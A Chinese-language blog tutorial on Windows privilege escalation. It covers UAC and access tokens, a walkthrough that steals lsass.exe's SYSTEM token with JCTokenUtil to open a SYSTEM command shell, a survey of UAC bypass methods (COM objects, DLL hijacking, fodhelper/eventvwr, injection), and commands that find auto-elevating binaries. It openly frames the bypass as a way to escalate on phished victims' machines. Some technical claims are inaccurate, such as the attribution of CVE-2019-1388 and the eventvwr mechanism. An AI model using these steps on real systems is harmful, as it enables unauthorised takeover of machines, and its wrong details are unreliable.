当前位置: 首页 > news >正文

操作系统权限提升(Windows令牌窃取和白名单绕过UAC提权)

文章目录

  • 一 UAC认证和Windows令牌窃取攻击
    • 1.1 红队攻防必会知识操作系统提权
    • 1.2 企业内网Windows账户权限分类
    • 1.3 UAC(User Account Control)
      • 1.3.1 UAC简介
      • 1.3.2 关于 UAC 的四个安全等级
      • 1.3.3 关于 UAC 的常见误解
      • 1.3.4 总结
    • 1.4 Windows令牌Token临时秘钥详解
      • 1.4.1 Windows 令牌
      • 1.4.2 令牌的核心作用
      • 1.4.3 令牌的生命周期
      • 1.4.4 令牌与 UAC 的关系:筛选令牌
    • 1.5 令牌窃取攻击一键提权System权限
      • 1.5.1 通过令牌窃取绕过 UAC 提权
      • 1.5.2 攻击前提
      • 1.5.3 攻击步骤:令牌窃取
      • 1.5.4 为什么这能绕过 UAC?
      • 1.5.5 工具
      • 1.5.6 利用JCTokenUtil窃取令牌实现提权
      • 1.5.7 防御措施
  • 二 AutoElevate绕过UAC提权System
    • 2.1 UAC的绕过方式
      • 2.1.1 COM (Component Object Model) 技术绕过
      • 2.1.1 DLL 劫持
      • 2.1.3 白名单绕过
      • 2.1.4 计划任务
      • 2.1.5 远程注入
      • 2.1.6 自身漏洞
      • 2.1.7 总结与防御建议
    • 2.2 白名单AutoElevate属性绕过UAC
    • 2.3 WIN10下的自动提升程序一键查找
    • 2.4 白名单提权原理和绕过UAC提权最高权限实战

一 UAC认证和Windows令牌窃取攻击

1.1 红队攻防必会知识操作系统提权

在这里插入图片描述

1.2 企业内网Windows账户权限分类

  • 在渗透测试中,window系统在不考虑域环境下,window角色权限一般可以分为:本地普通用户、本地管理员用户、本地最高管理员(Administrator)、本地服务用户。
  1. 本地普通用户
    • 权限描述:本地普通用户是Windows系统中的基本用户类型,拥有有限的权限。他们可以执行日常操作,如运行应用程序、访问个人文件和文件夹,以及进行一些基本的系统设置。

    • 相关权限

      • 运行安装的应用程序
      • 访问和修改自己的文件和文件夹
      • 更改个人用户设置(如壁纸、主题等)
      • 无法安装或卸载软件
      • 无法更改系统设置
      • 无法访问其他用户的文件和文件夹(除非有特别权限)
      • 无法执行需要管理员权限的操作
  2. 本地管理员用户
    • 权限描述:本地管理员用户拥有比普通用户更高的权限,可以执行更多的系统管理和维护任务。他们是系统中的“超级用户”,负责系统的整体运行和安全管理。

    • 相关权限

      • 所有本地普通用户的权限
      • 安装和卸载软件
      • 更改系统设置
      • 访问和修改所有用户的文件和文件夹
      • 创建、删除和修改用户账户
      • 执行需要管理员权限的操作
      • 管理系统安全设置(如防火墙、病毒防护等)
  3. 本地最高管理员(Administrator)
    • 权限描述:本地最高管理员是Windows系统中的最高权限用户,拥有系统的完全控制权。他们可以执行所有可能的操作,包括对系统核心文件的修改和系统恢复等。这个角色通常只在特殊情况下使用,如系统故障恢复或高级系统维护。windows server、windows专业版、windows企业版默认开启Administrator,windows家庭版默认不开启Administrator。
    • 相关权限
      • 所有本地管理员用户的权限
      • 修改系统核心文件
      • 执行系统恢复操作
      • 完全控制系统资源
      • 访问和修改系统安全设置
      • 执行任何需要最高权限的操作
  • 通过如下命令可查看Administrator相关信息。如果需要启用Administrator,可以按照图中操作进行开启。
    net user administrator
    

在这里插入图片描述

  1. 本地服务用户
    • 权限描述:本地服务用户(local service、network service、system)是专为运行系统服务而设计的用户类型。他们通常没有交互式登录的权限,只能在后台运行服务,不能用于登录Windows系统。这种用户类型有助于提高系统的安全性和稳定性,因为服务运行在受限的环境中。
    • 相关权限
      • 运行指定的系统服务
      • 访问服务所需的资源(如文件、网络等)
      • 无法进行交互式登录
      • 权限受到严格限制,通常只能执行特定任务
  • 注意:system和administrator权限相同。

  1. 权限总结表格
用户类型运行应用程序访问个人文件更改个人设置安装/卸载软件更改系统设置访问其他用户文件创建/删除用户管理系统安全修改核心文件系统恢复运行服务
本地普通用户××××××××
本地管理员用户×××
本地最高管理员(Administrator)×
本地服务用户√(仅限服务)√(仅限服务)××××××××

本地服务用户的权限仅限于运行指定的服务及其相关操作。

1.3 UAC(User Account Control)

1.3.1 UAC简介

  • UAC 的全称是 User Account Control,中文译为“用户账户控制”。它是从 Windows Vista 开始引入的一项核心安全功能,并一直延续至今(包括 Windows 7, 8, 10, 11)。
  • UAC的核心目标是:防止恶意软件在未经你许可的情况下,对系统进行未经授权的更改。

  • UAC 的工作原理:在 UAC 出现之前,Windows XP 的用户习惯于使用管理员账户进行日常操作。这意味着,你运行的任何程序(包括你无意中下载的病毒)都自动拥有了对整个系统的最高权限,可以随意修改系统文件、安装软件、更改关键设置。这就像给了每个进入你家的人一把万能钥匙,非常危险。
  • UAC 改变了这一点。它引入了标准用户管理员两种权限模式的分离,即使你登录的是管理员账户。
  1. 标准用户模式(默认状态)
    • 当你登录系统后,即使你是管理员,系统和大多数程序也会默认在“标准用户”权限下运行。
    • 在这个模式下,程序只能访问和修改当前用户的数据(如“文档”、“桌面”),无法触及系统核心区域(如 C:\Windows、注册表关键位置等)。
  2. 管理员权限提升(需要时触发)
    • 当某个程序或操作需要修改系统设置、安装软件或访问受保护的区域时,它就需要更高的权限。
    • 此时,UAC 就会介入,弹出一个确认对话框,要求你(用户)明确批准这个操作。
      这个过程被称为“权限提升”(Elevation)。

1.3.2 关于 UAC 的四个安全等级

  • UAC 的常见提示界面:UAC 提示通常有以下几种颜色代表不同的安全级别。
颜色图标含义示例
蓝色/灰色一个带盾牌的徽章可信的应用程序。通常是你主动运行的、有有效数字签名的程序,如系统自带的工具或知名软件的安装程序。更改系统设置、运行“控制面板”中的某些项目。
黄色/金色一个带黄色盾牌的徽章未知或可疑的应用程序。程序没有有效的数字签名,或者签名不被系统信任。系统不确定它是否安全,需要你格外小心。从网上下载的绿色软件、一些小众工具。
红色一个带红色叉的盾牌已被阻止的应用程序。该程序被系统明确识别为恶意或高风险。已知的病毒、木马程序。

  • UAC 的四个级别:在 Windows 中,UAC 通常有四个级别,可以通过以下路径找到它:
    控制面板 > 用户账户 > 更改用户账户控制设置
  1. 始终通知(最高级别)
    • 行为:每当有程序尝试安装软件或对系统进行更改时,都会在安全桌面上(屏幕变暗)弹出 UAC 提示,即使是 Windows 自身的程序也不例外。
    • 优点:最安全,任何细微的变化都逃不过你的眼睛。
    • 缺点:非常烦人,提示频繁,严重影响日常使用体验。
  2. 仅在应用尝试更改计算机时通知我(默认推荐级别)
    • 行为:这是 Windows 的默认设置。当第三方程序尝试更改时,会弹出 UAC 提示。但当你自己主动更改 Windows 设置时,不会弹出提示(系统认为这是你的本意)。
    • 优点:在安全性和便利性之间取得了最佳平衡。
    • 缺点:理论上,如果恶意软件能模拟你的操作,可能会绕过这个提示。
  3. 仅在应用尝试更改计算机时通知我(不降低屏幕亮度)
    • 行为:和上一级类似,但弹出提示时屏幕不会变暗。
    • 优点:提示切换更流畅,不会打断你的视觉焦点。
    • 缺点:安全性略低于上一级。因为屏幕变暗(安全桌面)是一种防欺骗机制,防止恶意软件伪造一个假的 UAC 窗口来骗取你的“是”。不降低亮度,这种风险就存在。
  4. 从不通知(最低级别,等同于关闭)
    • 行为:完全关闭 UAC。所有程序都在你当前的账户权限下静默运行。
    • 优点:再也没有烦人的弹窗。
    • 缺点极不安全! 这相当于把系统的“安全门卫”开除了,你的电脑将直接暴露在恶意软件的威胁之下,回到了 Windows XP 时代。强烈不建议普通用户选择此级别。

1.3.3 关于 UAC 的常见误解

  • 误解一:“UAC 很烦人,我应该直接关掉它。”
    • 真相:关掉 UAC 是最糟糕的选择。现代的 Windows 默认设置已经非常智能,只在真正需要时才提醒你。为了省去偶尔一次的点击而牺牲整个系统的安全,得不偿失。
  • 误解二:“UAC 就是那个弹窗,点了‘是’就完事了。”
    • 真相:UAC 的核心价值在于“让你知情”。每次弹窗都是一个提醒:“嘿,有个东西想动你的系统核心,你确定是你让它做的吗?” 这给了你一个拦截恶意行为的机会。你应该养成在点击“是”之前,快速扫一眼是哪个程序在请求权限的习惯。
  • 误解三:“我用杀毒软件了,不需要 UAC。”
    • 真相:UAC 和杀毒软件是互补的,不是替代关系。
      • UAC防御性的,它通过权限管理来预防未经授权的更改。
      • 杀毒软件检测性的,它通过病毒库和行为分析来发现和清除已经存在的威胁。
    • 两者结合,才能构建更完整的防护体系。

1.3.4 总结

UAC 是 Windows 一项至关重要的安全基石。它通过将日常操作与高风险操作分离,并要求用户明确授权,有效地构建了抵御恶意软件的第一道防线。
对于绝大多数用户来说,保持 UAC 的默认设置是最佳选择。它能在不显著影响日常使用的前提下,为你的电脑提供坚实的安全保障。下次当 UAC 弹窗时,请不要不耐烦,把它看作是系统在尽职尽责地保护你。

1.4 Windows令牌Token临时秘钥详解

1.4.1 Windows 令牌

  • 令牌(Token)是系统的临时密钥,相当于账户名和密码。当一个用户或进程在 Windows 系统中执行任何操作时,系统都需要验证它的身份和权限。这个验证的依据就是令牌。Token相当与一张电子身份张或通行证,允许在不提供密码或其他凭证的前提下,访问网络和系统资源,除非系统重新启动,否则这些令牌持续存在系统中。
  • 令牌的最大特性就是随机性、不可预测,一般无法使用软件进行猜测,且令牌种类繁多,如:
  1. 访问令牌(AccessToken):访问控制操作主题的系统对象。
    1. Delegation Token:授权令牌,也叫主令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)。
    2. Impresonation Token:模拟令牌,支持非交互的会话(例如使用 net use访问共享文件夹)。
  2. 会话令牌(Session Token):是交互会话中唯一的身份标识符,可以理解为web中的token。
  3. 密保令牌(SecurityToken)又叫作认证令牌或者硬件令牌,是一种计算机身份效验的物理设备。

1.4.2 令牌的核心作用

  • 身份证明:令牌包含了该进程所属用户的唯一安全标识符,例如 S-1-5-21-...-1001(代表一个普通用户)或 S-1-5-32-544(代表管理员组)。
  • 权限清单:令牌里有一个非常重要的部分叫做特权列表,它定义了这个进程可以执行哪些系统级操作,例如:
    • SeShutdownPrivilege:关闭系统。
    • SeDebugPrivilege:调试其他进程(这是提权攻击中非常关键的一个特权)。
    • SeChangeNotifyPrivilege:遍历文件夹。
  • 组成员关系:令牌列出了该用户所属的所有组,如“Users”、“Administrators”、“Remote Desktop Users”等。一个进程的权限是其所属所有组权限的总和。

1.4.3 令牌的生命周期

  1. 创建:用户成功登录时,系统会为该用户的登录会话创建一个主令牌。
  2. 复制:当这个用户启动一个新进程时(例如,双击运行 notepad.exe),系统会复制主令牌,并将这个副本(称为访问令牌)附加到新进程上。
  3. 使用:此后,该进程(记事本)进行的所有操作,如读取文件、访问注册表,都会由系统安全监视器检查其附加的令牌,以判断是否有权限执行。

1.4.4 令牌与 UAC 的关系:筛选令牌

这正是 UAC 机制的核心。当你使用一个属于管理员组的账户登录 Windows 时,系统会创建两种令牌:

  • 完全管理员令牌
    • 包含所有的管理员权限和所有特权。
    • 这个令牌是“完整版”的,拥有对系统的完全控制权。
    • 它默认被“锁定”或“休眠”,不直接用于日常启动的进程。
  • 筛选令牌
    • 这是 UAC 的关键创新。系统会从完全管理员令牌中“过滤”掉一些危险的管理员特权(如 SeDebugPrivilege)和移除管理员组的 SID。
    • 日常使用的所有程序(浏览器、办公软件、记事本等)默认都使用这个“降级版”的筛选令牌启动。
    • 因此,即使你是管理员,你的浏览器也无法随意修改 C:\Windows 目录下的文件,因为它持有的令牌没有这个权限。
  • UAC 提升权限的过程
    当你右键点击一个程序选择“以管理员身份运行”时,会发生以下事情:
  1. 一个 UAC 弹窗出现,请求你的同意。
  2. 你点击“是”后,系统会验证你的身份。
  3. 验证通过,系统会丢弃那个筛选令牌,直接使用你账户休眠中的完全管理员令牌来启动这个新进程。
  4. 这个新进程就拥有了完整的管理员权限。

  • 使用incognito或chroblert/JCTokenUtil工具进行查看机器令牌。
    • 使用JCTokenUtil查看当前登录用户的令牌。
    D:\>TokenUtil_x64.exe ListTokens -u kongyue
    ChooseModule:ListTokensu -> kongyue
    PID: 8140
    HandleOffset: 0x4
    LogonID: 00000000-000307fb
    IL: -1
    TokenType       : Primary Token
    CanBeImpersonated: 1
    ProcessName: C:\Windows\System32\sihost.exe
    TokenUser: DESKTOP-96TPJ9I\kongyue
    

1.5 令牌窃取攻击一键提权System权限

1.5.1 通过令牌窃取绕过 UAC 提权

现在,我们进入攻击场景。假设一个攻击者已经通过某种方式(如钓鱼邮件、漏洞利用)在目标系统上获得了一个立足点,但这个立足点只是一个标准用户权限的进程。他的目标是获得 SYSTEMAdministrator 权限。

1.5.2 攻击前提

  • 攻击者需要找到一个已经通过 UAC 验证、正在以高权限(如 Administrator 或 SYSTEM)运行的进程。这个进程持有攻击者梦寐以求的完全管理员令牌
    常见的高权限进程包括:
  • svchost.exe(某些服务)
  • winlogon.exe
  • lsass.exe
  • 系统管理员手动以管理员身份打开的 cmd.exepowershell.exe

1.5.3 攻击步骤:令牌窃取

  1. 枚举进程:攻击者首先运行工具(如 tasklist、PowerShell 脚本或 Mimikatz)来列出系统上所有正在运行的进程,并检查每个进程的权限级别和所有者。他会寻找由 NT AUTHORITY\SYSTEMBUILTIN\Administrators 拥有的进程。
  2. 定位目标:攻击者找到一个合适的目标进程,例如一个正在运行的、由管理员启动的 powershell.exe
  3. 窃取令牌:这是最关键的一步。攻击者利用 Windows API,特别是 OpenProcess()DuplicateTokenEx() 函数。
    • OpenProcess():以 PROCESS_QUERY_INFORMATION 权限打开目标的高权限进程,获得其句柄。
    • DuplicateTokenEx():使用目标进程的句柄,复制出它所持有的那个完全管理员令牌。这个操作就像是复制了一张万能钥匙。
  4. 创建新进程:攻击者现在手上有了“偷来”的完全管理员令牌。他可以使用 CreateProcessWithTokenW() 这个 API 函数,并指定使用这个偷来的令牌来创建一个新的进程(例如,一个新的 cmd.exe)。
  5. 提权成功:这个新创建的 cmd.exe 因为附加了偷来的完全管理员令牌,所以它就拥有了完整的管理员权限。当攻击者在这个命令行里运行 whoami 时,会看到返回 nt authority\systemadministrator,而不是他原来的低权限用户。

1.5.4 为什么这能绕过 UAC?

  • 因为 UAC 的弹窗只发生在进程启动的瞬间。攻击者并没有尝试去“启动”一个需要权限的程序并触发 UAC。他只是复制了一个已经通过 UAC 验证的进程的令牌。
  • UAC 机制本身并不知道有另一个进程正在“窃取”一个已存在进程的身份。从系统的角度看,一个高权限进程复制自己的令牌给一个新进程是合法操作。攻击者只是利用了这个机制来为自己谋利。

1.5.5 工具

  • Mimikatz:最著名的工具,其 token::elevatetoken::revert 模块可以轻松实现令牌窃取。
  • Cobalt Strike / Metasploit:这些渗透测试框架内置了 steal_token 模块,可以一键窃取指定进程的令牌。
  • PowerUp:一个 PowerShell 脚本,可以自动寻找可利用的提权向量,其中也包括令牌窃取。
  • chroblert/JCTokenUtil:一款针对令牌操作进行优化的命令行工具,其核心功能是枚举、窃取(复制)系统中的访问令牌,并利用这些令牌来创建具有指定用户身份(如 SYSTEM 或 Administrator)的新进程,从而实现权限提升。

1.5.6 利用JCTokenUtil窃取令牌实现提权

  • 通过JCTokenUtil查看system权限的令牌

    D:\>TokenUtil_x64.exe ListTokens -u NT AUTHORITY\SYSTEM -v
    ChooseModule:ListTokensu -> NT
    PID: 1140
    HandleOffset: 0x4
    LogonID: 00000000-000003e7
    IL: -1
    TokenType       : Primary Token
    CanBeImpersonated: 1
    ProcessName: C:\Windows\System32\lsass.exe
    TokenUser: NT AUTHORITY\SYSTEMPID: 1140
    HandleOffset: 0x864
    LogonID: 00000000-000003e5
    IL: 2
    TokenType       : Impersonation Token
    CanBeImpersonated: 1
    ProcessName: C:\Windows\System32\lsass.exe
    TokenUser: NT AUTHORITY\LOCAL SERVICE
    
  • 第一条结果分析

    PID: 1140
    HandleOffset: 0x4
    LogonID: 00000000-000003e7
    IL: -1
    TokenType       : Primary Token
    CanBeImpersonated: 1
    ProcessName: C:\Windows\System32\lsass.exe
    TokenUser: NT AUTHORITY\SYSTEM
    
    • 进程 (PID: 1140): lsass.exe (Local Security Authority Subsystem Service)。这是 Windows 的安全核心,负责处理登录、密码策略和访问控制。它以 SYSTEM 权限运行,是系统中权限最高的进程之一。

    • 令牌类型: Primary Token (主要令牌)。这是 lsass.exe 进程自己的“身份证”,定义了它自身的身份和权限。这个令牌的持有者就是 SYSTEM。

    • 令牌用户: NT AUTHORITY\SYSTEM。这确认了 lsass.exe 进程正在以 SYSTEM 账户的身份运行。

    • 完整性级别: IL: -1。这是一个非常特殊的值,通常表示 System 完整性级别,比 High (管理员) 和 Medium (普通用户) 都要高。它位于 Windows 完整性级别的顶端。

    • 结论:lsass.exe 进程拥有一个属于 SYSTEM 账户的、具有最高权限的主要令牌。这就是攻击者在提权攻击中梦寐以求的“圣杯”。如果能窃取到这个令牌,就能获得对整个系统的完全控制。

  • 第二条结果分析

    PID: 1140
    HandleOffset: 0x864
    LogonID: 00000000-000003e5
    IL: 2
    TokenType       : Impersonation Token
    CanBeImpersonated: 1
    ProcessName: C:\Windows\System32\lsass.exe
    TokenUser: NT AUTHORITY\LOCAL SERVICE
    
    • 令牌类型: Impersonation Token (模拟令牌)。这与主要令牌不同。模拟令牌是一个“临时面具”,一个高权限进程(如 SYSTEM)可以戴上这个面具,去以另一个身份(如 LOCAL SERVICE)执行特定操作,完成后再摘下面具,恢复自己的原始身份。
    • 令牌用户: LOCAL SERVICE, NETWORK SERVICE, ANONYMOUS LOGON。这些都是权限较低的服务账户。
    • 完整性级别: IL: 2。这通常对应 Medium 完整性级别。
  • 为什么 SYSTEM 进程需要这些低权限的模拟令牌?
    这是 最小权限原则 的体现。想象一下,lsass.exe 需要代表某个普通服务去网络上访问一个资源。如果它直接用自己的 SYSTEM 身份去访问,权限就太高了,而且可能会被对方服务器拒绝(因为不信任一个来自外部的 SYSTEM 账户)。


  1. 使用工具窃取 lsass.exe (PID: 1140) 的Primary Token,切换到 lsass 进程的 SYSTEM 令牌来执行命令,顺利实现用户添加和删除。
D:\>tasklist | findstr lsass.exe
lsass.exe                     1140 Services                   0     27,388 KD:\>TokenUtil_x64.exe Execute -p 1140 -e cmd.exe -c
ChooseModule:Executep -> 1140e -> cmd.exec -> 1
[*] Attempting to create new child process and communicate via anonymous pipeMicrosoft Windows [版本 10.0.19045.6093]
(c) Microsoft Corporation。保留所有权利。D:\>whoami
whoami
nt authority\systemD:\>net user mei 123456 /del
net user mei 123456 /delD:\>net user mei /del
net user mei /del
命令成功完成。

1.5.7 防御措施

  1. 最小权限原则:不要使用管理员账户进行日常操作。这是最根本的防御。如果攻击者只能获得一个标准用户的令牌,那么他能窃取的最高权限也只是标准用户。
  2. 及时更新补丁:攻击者获得初始立足点通常利用的是未修复的软件漏洞。
  3. 使用 EDR/XDR 解决方案:现代的端点检测与响应工具能够监控到这种可疑的 API 调用序列(如打开高权限进程后立即创建新进程),并发出警报。
  4. 限制管理员交互:减少管理员在服务器上直接登录或以管理员身份运行程序的频率。高权限进程越少,攻击者能窃取的令牌就越少。

二 AutoElevate绕过UAC提权System

  • 在红队攻防中,我们会采用钓鱼的方式控制别人的电脑,但是往往都是有UAC认证的管理员,并不能获取到最高的权限,只有绕过了UAC认证我们才可以拿到administrator和system的权限,从而进行hash传递,内网渗透等一系列操作所以绕过UAC是重中之重。
    在这里插入图片描述

2.1 UAC的绕过方式

  • UAC的绕过方式有很多,如:COM技术、DLL劫持、白名单绕过、计划任务,远程注入、自身漏洞。
  • 首先,UAC绕过的核心目标:它并不是为了“破解”管理员密码,而是利用系统机制或漏洞,诱骗一个已经拥有管理员权限但处于“已批准”状态的高权限进程,去执行我们指定的恶意代码,从而实现权限提升,而无需用户再次点击UAC弹窗确认。

2.1.1 COM (Component Object Model) 技术绕过

  • 这是最经典和最常见的UAC绕过方式之一。
  • 核心原理:Windows系统中有很多COM对象,其中一些被设计为“受信任的”,可以自动以管理员权限运行,而不会触发UAC提示。攻击者会寻找这些“自动提升权限”的COM对象,并利用它们的功能来执行恶意操作。
  • 工作流程
    1. 寻找目标:攻击者通过分析系统注册表(特别是 HKEY_CLASSES_ROOT\CLSID),找到那些标记了 Elevation 属性且 Enabled 值为1的COM对象。这些对象通常位于 HKCR\CLSID\{CLSID}\Elevation
    2. 利用接口:找到目标后,攻击者会研究这个COM对象暴露了哪些接口和方法。例如,某些COM对象可能提供了“创建计划任务”、“执行文件”或“修改注册表”等功能。
    3. 编写恶意代码:攻击者编写一个程序,实例化这个受信任的COM对象,并调用它的方法,将恶意命令或文件路径作为参数传入。
    4. 静默执行:当这个方法被调用时,系统会信任该COM对象,并以管理员权限在后台执行攻击者传入的恶意命令,整个过程对用户是无感知的,没有UAC弹窗。
  • 著名案例
    • ICMLuaUtil COM对象:这是最广为人知的例子。攻击者可以实例化 CMSTPLUA 类,然后调用其 ShellExec 方法,以管理员权限执行任意程序。
    • FwCplLua COM对象:与防火墙控制面板相关,同样可以被滥用来执行命令。
  • 防御:微软通过安全更新不断修补这些被滥用的COM对象,限制其自动提升权限的能力。

2.1.1 DLL 劫持

这是一种非常灵活的攻击技术,同样可以用于绕过UAC。

  • 核心原理:当一个程序启动时,它会按照特定顺序加载所需的DLL文件。如果攻击者能将一个恶意的DLL文件放置在搜索路径的优先位置,那么程序就会加载这个恶意DLL,而不是系统目录下的合法DLL。如果这个程序本身是以管理员权限运行的(例如,一个受信任的、自动提升的程序),那么恶意DLL也就获得了管理员权限。
  • 工作流程
    1. 寻找目标:寻找一个会自动提升权限且依赖某个非系统核心DLL的程序。这个程序的工作目录或DLL搜索路径对普通用户是可写的。
    2. 制作恶意DLL:创建一个与目标DLL同名的恶意DLL。这个DLL会导出与原DLL相同的函数,确保程序能正常加载。在恶意DLL的入口点(如 DllMain)或某个导出函数中,嵌入恶意代码(如启动一个反向Shell)。
    3. 放置DLL:将恶意DLL放置在目标程序的启动目录下,或者任何在DLL搜索路径中优先于系统目录的位置。
    4. 触发执行:当用户或系统启动这个高权限程序时,它会加载攻击者的恶意DLL,从而以管理员权限执行恶意代码。
  • 防御:微软引入了“已知DLLs列表”和更严格的DLL搜索路径顺序,同时程序开发者也应使用完整路径来加载DLL。

2.1.3 白名单绕过

这种技术利用的是系统对“受信任”程序的信任机制。

  • 核心原理:Windows维护着一个“受信任”的程序列表(白名单),这些程序在执行某些需要管理员权限的操作时,不会触发UAC。攻击者通过“劫持”这些受信任程序的执行流程,来运行自己的恶意代码。
  • 常见方法
    • 劫持 dllhost.exedllhost.exe (COM Surrogate) 是一个常见的目标,因为它经常被用来以不同权限级别加载COM组件。攻击者可以配置特定的COM对象,让 dllhost.exe 在启动时加载恶意DLL。
    • 利用 eventvwr.exe:这是一个经典的案例。eventvwr.exe(事件查看器)是受信任的。它会尝试加载一个位于 C:\Windows\System32\en-US\ 目录下的 .mui 文件。如果攻击者能在用户可写的目录(如用户的AppData目录)下创建一个同名的 .mui 文件,并通过符号链接或特定注册表项重定向加载路径,就能让 eventvwr.exe 加载恶意文件。
    • 利用 fodhelper.exe:这是另一个著名例子。fodhelper.exe 用于管理可选功能,它会自动提升权限。它会检查注册表中的特定键值,如果攻击者能修改这些键值,指向一个恶意程序,那么当 fodhelper.exe 启动时,就会以管理员权限执行这个恶意程序。
  • 防御:微软通过修补这些特定程序的逻辑来防止劫持,例如强制它们从受保护的系统目录加载资源。

2.1.4 计划任务

利用Windows任务计划程序来实现权限提升。

  • 核心原理:系统中可能存在一些配置不当的计划任务。这些任务可能:
    1. 以高权限(如 SYSTEMAdministrators)运行。
    2. 其执行的程序或脚本对普通用户是可写的。
    3. 触发条件是攻击者可以控制的(如用户登录、系统启动等)。
  • 工作流程
    1. 枚举任务:攻击者使用工具(如 schtasks)枚举系统中的所有计划任务,寻找上述配置不当的任务。
    2. 替换文件:如果找到一个高权限任务,其执行的脚本(如 .bat, .vbs)或程序(.exe)位于用户可写的目录,攻击者可以直接用恶意文件替换它。
    3. 等待触发:等待任务被触发(例如,攻击者可以主动触发或等待下一次用户登录),恶意代码就会以高权限执行。
  • 另一种变体:攻击者也可以创建一个新的计划任务。虽然创建高权限任务通常会触发UAC,但如果结合其他漏洞(如一个服务漏洞),就可以无交互地创建一个以 SYSTEM 权限运行的任务,从而实现持久化和权限提升。
  • 防御:确保系统计划任务的配置是安全的,执行文件位于受保护的目录,且权限设置正确。

2.1.5 远程注入

这是一种更主动的攻击方式,通常与其他技术结合使用。

  • 核心原理:攻击者首先找到一个已经以管理员权限运行的进程(例如,通过上述COM或白名单技术启动的进程)。然后,他们将恶意代码“注入”到这个高权限进程的内存空间中,并使其执行。
  • 工作流程
    1. 获取目标进程句柄:使用 OpenProcess API,以 PROCESS_CREATE_THREADPROCESS_VM_OPERATIONPROCESS_VM_WRITE 等权限打开一个高权限进程。
    2. 分配内存:在目标进程中,使用 VirtualAllocEx 分配一块可读可写可执行的内存空间。
    3. 写入恶意代码:使用 WriteProcessMemory 将恶意Shellcode或DLL的路径写入到刚刚分配的内存中。
    4. 创建执行线程:使用 CreateRemoteThread 在目标进程中创建一个新线程,线程的起始地址指向刚刚写入的恶意代码。这样,恶意代码就在高权限进程的上下文中运行了。
  • 常见注入技术
    • DLL注入:将恶意DLL路径写入目标进程,然后创建线程调用 LoadLibraryA 来加载DLL。
    • Shellcode注入:直接将可执行机器码写入目标进程并执行。
  • 防御:现代Windows系统引入了更严格的进程保护机制,如受保护进程(Protected Process)和进程缓解策略,使得注入变得更加困难。

2.1.6 自身漏洞

这是最直接的方式,利用UAC机制本身的代码缺陷。

  • 核心原理:UAC本身是一个复杂的软件系统,由多个组件(如 consent.exe)构成。和任何软件一样,它也可能存在编程错误或逻辑漏洞。攻击者可以直接利用这些漏洞来绕过UAC的检查机制。
  • 著名案例
    • Win10的 diaghub_collector.exe 漏洞 (CVE-2019-1388):这是一个非常典型的例子。攻击者可以利用Windows诊断中心的漏洞,通过一系列精心构造的操作,最终弹出一个伪造的UAC对话框。这个对话框看起来是系统级的,但实际上是由攻击者控制的,用户点击“是”后,攻击者的程序就获得了管理员权限。
    • eventvwr.exe 的符号链接漏洞:早期版本中,eventvwr.exe 在处理文件路径时存在逻辑缺陷,允许攻击者通过创建符号链接,将文件操作重定向到任意位置,从而写入恶意文件。
  • 防御:唯一的防御方式就是及时安装微软发布的安全补丁。

2.1.7 总结与防御建议

绕过方式核心思想关键点
COM技术滥用受信任的、自动提升权限的COM对象寻找并调用 Elevation 标记的COM接口
DLL劫持替换高权限程序依赖的DLL文件控制DLL搜索路径,替换非核心DLL
白名单绕过劫持受信任程序的执行流程利用程序对配置文件或外部资源的依赖
计划任务利用配置不当或创建高权限任务寻找可写的任务文件或利用漏洞创建任务
远程注入将恶意代码注入到已存在的高权限进程获取高权限进程句柄并写入执行代码
自身漏洞利用UAC组件自身的代码缺陷寻找并触发UAC机制中的逻辑或内存漏洞

对普通用户的防御建议

  1. 及时更新系统:这是最重要的一点,微软会通过补丁修复已知的绕过漏洞。
  2. 不要轻易关闭UAC:将UAC级别保持在默认或更高。虽然可以被绕过,但它仍然能拦截大量未经授权的修改行为。
  3. 使用标准账户:日常使用电脑时,使用标准用户账户,而不是管理员账户。这样即使恶意软件运行,其初始权限也有限。
  4. 运行来源不明的软件要谨慎:UAC绕过通常需要用户先执行一个“诱饵”程序。因此,不要运行可疑的邮件附件或下载的软件。

2.2 白名单AutoElevate属性绕过UAC

  • UAC的作用是为了方式恶意软件、木马病毒、广告插件,但是UAC同样也会对系统本身的程序造成影响,微软也不希望运行系统程序也需要询问用户,因为系统程序是安全的。因此,微软则在UAC 中添加白名单机制常见白名单中包含msconfig.exe、perfmon.exe、sdclt.exe、eventvwr.exe、taskmgr.exe、cleanmgr.exe、dccw.exe、fodhelper.exe。
  • Windows白名单中若autoElevate属性为True,程序启动时会自动提升权限(不会提示UAC),这类应用程序通常具备微软签名,被系统视为可信。因此,该程序启动时将以管理员身份运行。
  • 可使用微软官方工具sigcheck.exe查找具有autoElevate=True属性的程序(即白名单程序),查看属性值的命令示例:
    sigcheck.exe /accepteula -m C:\Windows\System32\msconfig.exe
    
  • 下方代码块展示通过sigcheck.exe检测后输出的部分结果,其中红框标注的<autoElevate>true</autoElevate>明确显示该程序的autoElevate属性值为True:
    </trustInfo>
    <asmv3:application><asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"><dpiAware>true</dpiAware><autoElevate>true</autoElevate>  <!-- 此处为autoElevate属性值 --></asmv3:windowsSettings>
    </asmv3:application>
    </assembly>
    

2.3 WIN10下的自动提升程序一键查找

  • 通过微软工具strings工具进行批量查找

    strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > res.txt 
    
    D:\virtual Machine\tools\Strings>strings64.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate"
    C:\Windows\System32\BitLockerWizardElev.exe:       <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
    C:\Windows\System32\bthudtask.exe:           <autoElevate>true</autoElevate>
    C:\Windows\System32\changepk.exe:             <autoElevate>true</autoElevate>
    C:\Windows\System32\chkntfs.exe:         <autoElevate>false</autoElevate>
    C:\Windows\System32\cleanmgr.exe:         <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
    C:\Windows\System32\cliconfg.exe:         <autoElevate>false</autoElevate>
    C:\Windows\System32\CompMgmtLauncher.exe:             <autoElevate>false</autoElevate>
    ...
    

2.4 白名单提权原理和绕过UAC提权最高权限实战

  • 在运行白名单程序的时候,程序除了被正常的启动,还会有加载操作系统底层的东西,比如加载DLL、注册表等行为,一旦该程序调用的注册表拥有执行的命令的行为,那么该白名单就可以进行UAC提权。
    在这里插入图片描述
